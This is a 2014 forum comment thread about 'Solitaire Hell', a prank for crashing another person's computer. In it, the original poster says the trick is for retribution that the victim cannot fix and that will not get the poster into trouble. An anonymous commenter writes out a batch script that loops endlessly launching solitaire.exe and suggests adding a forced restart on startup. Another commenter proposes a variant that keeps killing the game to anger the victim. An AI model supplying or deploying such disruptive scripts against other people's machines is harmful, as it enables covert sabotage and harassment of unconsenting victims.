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A Neat Little Trick

 
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Submitted: 04/08/2014
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User avatar #2 - faptastica (04/08/2014) [-]
ant viruses enough
#4 to #2 - Stevethewizard [OP](04/08/2014) [-]
An antivirus program wouldn't do anything to stop it. It wasn't downloaded, it doesn't do anything outwardly malicious, and, once it starts, it crashes the target's computer rather quickly. It would require targeted action to stop (opening task manager and ending the program from there).
User avatar #5 to #4 - faptastica (04/08/2014) [-]
are viruses not enough
#8 to #5 - Stevethewizard [OP](04/09/2014) [-]
You can remove viruses. You can prevent viruses. You cannot prevent Solitaire Hell.
User avatar #9 to #8 - faptastica (04/09/2014) [-]
i mean "are there not enough viruses to **** computers"
(u are missing what i am trying to say)
#10 to #9 - Stevethewizard [OP](04/09/2014) [-]
Then you need to say what you're trying to say. It's not my fault you're only saying half of what you mean.
User avatar #11 to #10 - faptastica (04/09/2014) [-]
I mean why to to the trick/hack ( the content the solitaire ) when we got so much viruses already
#12 to #11 - Stevethewizard [OP](04/09/2014) [-]
Because sometimes, you can't wait for someone to **** their own **** up. Sometimes, you need retribution. This is for when you want to **** someone up in a way they'll likely spend hours, possibly days, trying to fix with no success, without getting in trouble.
User avatar #13 to #12 - faptastica (04/09/2014) [-]
ok
#6 - anon (04/08/2014) [-]
Why do you need 2 goto's? Just write:
@echo off
:solitaire
call solitaire.exe
goto :solitaire

For a bit of extra fun, you can also restart the pc from such a script with the command shutdown.exe.
#7 to #6 - Stevethewizard [OP](04/09/2014) [-]
Because, as an English major instead of a Computer Sciences major, my code lacks brevity. If there's a complex way to do it without it looking overly stupid, I'll take the complex way every time.
Also, the restart code would be more awful than the one I wrote. Restarting on startup? That's some evil **** .
User avatar #1 - faimbot (04/08/2014) [-]
or to prevent the computer from crashing, you could incorporate a way for the solitaire game to terminate as soon as it opens, and continue doing that until the victim is pissed.
#3 to #1 - Stevethewizard [OP](04/08/2014) [-]
That completely eliminates the purpose. What's the point in doing something just to annoy someone? If they're a friend, then it's still annoying, and they'll get pissed off eventually. If they're a valid target, you shouldn't feel bad about doing this to them.
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